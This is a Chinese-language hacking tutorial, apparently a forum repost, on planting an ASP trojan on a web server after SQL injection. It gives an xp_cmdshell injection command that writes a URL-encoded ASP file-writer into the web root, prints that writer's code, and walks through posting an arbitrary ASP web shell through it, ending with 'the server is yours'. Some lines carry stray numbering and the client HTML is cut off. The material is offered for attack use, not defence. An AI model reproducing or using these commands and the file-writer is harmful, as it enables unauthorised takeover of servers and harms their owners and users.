SQL注入后,如何上传木马,一直是比较头疼的事,我这里提供上传木马的一种另一种方法。
1、SQL注入的时候,用xp_cmdshell 向服务器上写入一个能写文件的asp文件。
文件内容:
1
2Set objFSO = Server.createObject("Scripting.FileSystemObject")
3Set objCountFile=objFSO.createTextFile(request("mypath"),True)
4objCountFile.Write request("mydata")
5objCountFile.Close
这个文件可以写成一行 ``` Set objFSO = Server.createObject("Scripting.FileSystemObject"):Set objCountFile=objFSO.createTextFile(request("mypath"),True):objCountFile.Write request("mydata"):objCountFile.Close
1
2---
3
4将特殊字符进行编码 就可以得到
5%3C%25Set%20objFSO%20=%20Server.createObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.createTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E
6
7---
8
9
10注入(这里假定web目录是C:\Inetpub\wwwroot\):
11exec master..xp_cmdshell 'echo "%3C%25Set%20objFSO%20=%20Server.createObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.createTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E" > C:\Inetpub\wwwroot\ftp.asp';
12
13---
14
15
16这样 在服务器的web 目录下 将生成一个 ftp.asp文件
17该文件的代码为
Set objFSO = Server.createObject("Scripting.FileSystemObject")
Set objCountFile=objFSO.createTextFile(request("mypath"),True)
objCountFile.Write request("mydata")
objCountFile.Close
1
2---
3
4
5你可以看到,上面代码中预留了两个接口 mypath 和 mydata
6
7mypath是下次提交的时候 文件的生成路径
8mydata是文件的内容
9
10在本地编写一个客户端文件 例:RohuClient.htm 代码如下
11<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
版权所有:绝对零度(虎盟) |
在目标位置栏填上刚刚生成的ftp.asp文件的url地址
如 http://127.0.0.1/ftp.asp (这里假设服务器的ip是 127.0.0.1)
在生成文件栏 输入将在服务器上生成的文件名 比如:C:\Inetpub\wwwroot\Server.asp
在文件内容里 ,随意的粘贴一个asp代码
点递交,当 http://127.0.0.1/ftp.asp 文件执行完毕 基本上服务器上的asp木马就生成了。
浏览 http://127.0.0.1/Server.ASP 呵呵 服务器就是你的了
Hoky : 这篇文章前段时间不知道在那个地方看过.转贴的时候就没有写作者是谁.我也不记得了.